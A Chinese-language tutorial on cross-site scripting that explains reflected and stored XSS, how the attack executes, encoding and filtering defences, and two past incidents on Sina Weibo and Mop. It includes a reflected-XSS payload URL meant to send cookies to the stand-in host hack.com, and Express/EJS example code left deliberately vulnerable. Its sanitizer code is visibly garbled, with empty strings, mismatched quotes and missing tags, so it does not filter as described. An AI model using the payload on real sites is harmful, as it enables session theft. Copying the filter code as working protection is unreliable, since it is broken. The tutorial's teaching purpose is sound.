Web安全之跨站腳本攻擊(XSS)
什么是XSS
跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁(yè)面里插入惡意Script代碼,當(dāng)用戶瀏覽該頁(yè)之時(shí),嵌入其中Web里面的Script代碼會(huì)被執(zhí)行,從而達(dá)到惡意攻擊用戶的目的。
XSS的攻擊場(chǎng)景
- 反射型這類攻擊方式主要借助URL來(lái)實(shí)施。URL的構(gòu)成分為協(xié)議、域名、端口、路徑、查詢幾部分構(gòu)成。如圖所示:
- XSS往往在“查詢”部分發(fā)現(xiàn)漏洞構(gòu)造攻擊代碼實(shí)施攻擊,所謂“反射”可以理解為hacker并不會(huì)直接攻擊客戶,而是通過(guò)URL植入代碼通過(guò)服務(wù)器獲取并植入到用戶頁(yè)面完成攻擊。攻擊流程圖如下:
- 存儲(chǔ)型存儲(chǔ)型攻擊方式和反射型最大的區(qū)別就是不通過(guò)URL來(lái)傳播,而是利用站點(diǎn)本身合法的存儲(chǔ)結(jié)構(gòu),比如評(píng)論。任何用戶都可以通過(guò)站點(diǎn)提供的接口提交評(píng)論內(nèi)容,這些評(píng)論內(nèi)容都被存儲(chǔ)到服務(wù)器的數(shù)據(jù)庫(kù)。當(dāng)用戶訪問這些評(píng)論的時(shí)候,服務(wù)器從數(shù)據(jù)庫(kù)提取內(nèi)容插入到頁(yè)面反饋給用戶。如果評(píng)論內(nèi)容本身是具備攻擊性內(nèi)容,用戶無(wú)一幸免。攻擊流程圖如下:
從上下兩個(gè)流程圖來(lái)看,反射型和存儲(chǔ)型的攻擊方式是本質(zhì)不同的,前者需要借助各種社交渠道傳播具備攻擊的URL來(lái)實(shí)施,后者通過(guò)網(wǎng)站本身的存儲(chǔ)漏洞,攻擊成本低很多,而且傷害力更大。
XSS的工作原理
不管是反射型還是存儲(chǔ)型,服務(wù)端都會(huì)將JavaScript當(dāng)做文本處理,這些文本在服務(wù)端被整合進(jìn)html文檔中,在瀏覽器解析這些文本的過(guò)程也就是XSS被執(zhí)行的時(shí)候。
從攻擊到執(zhí)行分為以下幾步:
- 構(gòu)造攻擊代碼
- 服務(wù)端提取并寫入HTML
- 瀏覽器解析,XSS執(zhí)行
構(gòu)造攻擊代碼
hacker在發(fā)現(xiàn)站點(diǎn)對(duì)應(yīng)的漏洞之后,基本可以確定是使用“反射型”或者“存儲(chǔ)型”。對(duì)于反射型這個(gè)很簡(jiǎn)單了,執(zhí)行類似代碼:
- https://www.toutiao.com/search?item=<img onerror="new Image().src='//hack.com?c=' src='null'>"
大家知道很多站點(diǎn)都提供搜索服務(wù),這里的item字段就是給服務(wù)端提供關(guān)鍵詞。如果hacker將關(guān)鍵詞修改成可執(zhí)行的JavaScript語(yǔ)句,如果服務(wù)端不加處理直接將類似代碼回顯到頁(yè)面,XSS代碼就會(huì)被執(zhí)行。
這段代碼的含義是告訴瀏覽器加載一張圖片,圖片的地址是空,根據(jù)加載機(jī)制空?qǐng)D片的加載會(huì)觸發(fā)Element的onerror事件,這段代碼的onerror事件是將本地cookie傳到指定的網(wǎng)站。
很明顯,hacker可以拿到“中招”用戶的cookie,利用這個(gè)身份就可以拿到很多隱私信息和做一些不當(dāng)?shù)男袨榱恕?/p>
對(duì)于存儲(chǔ)型直接通過(guò)讀取數(shù)據(jù)庫(kù)將內(nèi)容打到接口上就可以了。
服務(wù)端提取并寫入HTML
我們以 Node.js 應(yīng)用型框架express.js為例:
服務(wù)端代碼(express.js)
- router.get('/', function (req, res, next) {
- res.render('index', {
- title: 'Express',
- search: req.query.item
- });
- });
ejs模板
- <p>
- <%- search %>
- </p>
這里列舉了以反射型為主的服務(wù)端代碼,通過(guò)獲取URL的查詢r(jià)es.query.item,最后在模板中輸出內(nèi)容。對(duì)于存儲(chǔ)型的區(qū)別是通過(guò)數(shù)據(jù)庫(kù)拿到對(duì)應(yīng)內(nèi)容,模板部分一致。
瀏覽器解析,XSS執(zhí)行
從這個(gè)圖上來(lái)看瀏覽器解析主要做三件事:
- 將文檔解析成DOM Tree
- 解析CSS成規(guī)則樹
- Javascript解析
在這個(gè)過(guò)程,XSS的代碼從文本變的可執(zhí)行。
XSS的防范措施
編碼
對(duì)于反射型的代碼,服務(wù)端代碼要對(duì)查詢進(jìn)行編碼,主要目的就是將查詢文本化,避免在瀏覽器解析階段轉(zhuǎn)換成DOM和CSS規(guī)則及JavaScript解析。
常見的HTML實(shí)體編碼如下:
除了編碼和解碼,還需要做額外的共奏來(lái)解決富文本內(nèi)容的XSS攻擊。
我們知道很多場(chǎng)景是允許用戶輸入富文本,而且也需要將富文本還原。這個(gè)時(shí)候就是hacker容易利用的點(diǎn)進(jìn)行XSS攻擊。
DOM Parse和過(guò)濾
從XSS工作的原理可知,在服務(wù)端進(jìn)行編碼,在模板解碼這個(gè)過(guò)程對(duì)于富文本的內(nèi)容來(lái)說(shuō),完全可以被瀏覽器解析到并執(zhí)行,進(jìn)而給了XSS執(zhí)行的可乘之機(jī)。
為了杜絕悲劇發(fā)生,我們需要在瀏覽器解析之后進(jìn)行解碼,得到的文本進(jìn)行DOM parse拿到DOM Tree,對(duì)所有的不安全因素進(jìn)行過(guò)濾,最后將內(nèi)容交給瀏覽器,達(dá)到避免XSS感染的效果。
具體原理如下:
- 解碼
- var unescape = function(html, options) {
- options = merge(options, decode.options);
- var strict = options.strict;
- if (strict && regexInvalidEntity.test(html)) {
- parseError('malformed character reference');
- }
- return html.replace(regexDecode, function($0, $1, $2, $3, $4, $5, $6, $7) {
- var codePoint;
- var semicolon;
- var decDigits;
- var hexDigits;
- var reference;
- var next;
- if ($1) {
- // Decode decimal escapes, e.g. ``.
- decDigits = $1;
- semicolon = $2;
- if (strict && !semicolon) {
- parseError('character reference was not terminated by a semicolon');
- }
- codePoint = parseInt(decDigits, 10);
- return codePointToSymbol(codePoint, strict);
- }
- if ($3) {
- // Decode hexadecimal escapes, e.g. ``.
- hexDigits = $3;
- semicolon = $4;
- if (strict && !semicolon) {
- parseError('character reference was not terminated by a semicolon');
- }
- codePoint = parseInt(hexDigits, 16);
- return codePointToSymbol(codePoint, strict);
- }
- if ($5) {
- // Decode named character references with trailing `;`, e.g. `©`.
- reference = $5;
- if (has(decodeMap, reference)) {
- return decodeMap[reference];
- } else {
- // Ambiguous ampersand. https://mths.be/notes/ambiguous-ampersands
- if (strict) {
- parseError(
- 'named character reference was not terminated by a semicolon'
- );
- }
- return $0;
- }
- }
- // If we’re still here, it’s a legacy reference for sure. No need for an
- // extra `if` check.
- // Decode named character references without trailing `;`, e.g. `&`
- // This is only a parse error if it gets converted to `&`, or if it is
- // followed by `=` in an attribute context.
- reference = $6;
- next = $7;
- if (next && options.isAttributeValue) {
- if (strict && next == '=') {
- parseError('`&` did not start a character reference');
- }
- return $0;
- } else {
- if (strict) {
- parseError(
- 'named character reference was not terminated by a semicolon'
- );
- }
- // Note: there is no need to check `has(decodeMapLegacy, reference)`.
- return decodeMapLegacy[reference] + (next || '');
- }
- });
- };
- DOM Parse和過(guò)濾
- var parse=function(str){
- var results='';
- try {
- HTMLParser(str,{
- start:function(tag,attrs,unary){
- if(tag=='script' || tag=='style'|| tag=='img'|| tag=='link'){
- return
- }
- results+="";
- },
- end:function(tag){
- results+=""+tag+">";
- },
- chars:function(text){
- results+=text;
- },
- comment:function(){
- results+="';
- }
- })
- return results;
- } catch (e) {
- } finally {
- }
- };
- var dst=parse(str);
在此展示了部分代碼,其中DOM Parse可以采用第三方的Js庫(kù)來(lái)完成。
XSS的危害
相信大家都對(duì)XSS了有一定的了解,下面列舉幾個(gè)XSS影響比較大的事件供參考,做到警鐘長(zhǎng)鳴。
- 微博遭受攻擊案例2011年6月28日晚,新浪微博遭遇到XSS蠕蟲攻擊侵襲,在不到一個(gè)小時(shí)的時(shí)間,超過(guò)3萬(wàn)微博用戶受到該XSS蠕蟲的攻擊。此事件給嚴(yán)重依賴社交網(wǎng)絡(luò)的網(wǎng)友們敲響了警鐘。在此之前,國(guó)內(nèi)多家著名的SNS網(wǎng)站和大型博客網(wǎng)站都曾遭遇過(guò)類似的攻擊事件,只不過(guò)沒有形成如此大規(guī)模傳播。雖然此次XSS蠕蟲攻擊事 件中,惡意黑客攻擊者并沒有在惡意腳本中植入掛馬代碼或其他竊取用戶賬號(hào)密碼信息的腳本,但是這至少說(shuō)明,病毒木馬等黑色產(chǎn)業(yè)已經(jīng)將眼光投放到這個(gè)尚存漏洞的領(lǐng)域。
- 貓撲遭受攻擊案例曾經(jīng)在貓撲大雜燴中存在這樣一個(gè)XSS漏洞,在用戶發(fā)表回復(fù)的時(shí)候,程序?qū)τ脩舭l(fā)表的內(nèi)容做了嚴(yán)格的過(guò)濾,但是我不知道為什么,當(dāng)用戶編輯回復(fù)內(nèi)容再次發(fā)表的時(shí)候,他卻采用了另外一種不同的過(guò)濾方式,而這種過(guò)濾方式顯然是不嚴(yán)密的,因此導(dǎo)致了XSS漏洞的出現(xiàn)。試想一下,像貓撲這樣的大型社區(qū),如果在一篇熱帖中,利用XSS漏洞來(lái)使所有的瀏覽這篇帖子的用戶都在不知不覺之中訪問到了另外一個(gè)站點(diǎn),如果這個(gè)站點(diǎn)同樣是大型站點(diǎn)還好,但如果是中小型站點(diǎn)那就悲劇了,這將會(huì)引來(lái)多大的流量啊!更可怕的是,這些流量全部都是真實(shí)有效的!
如果本文有描述不準(zhǔn)確或錯(cuò)誤,歡迎大家指正……,不勝感激。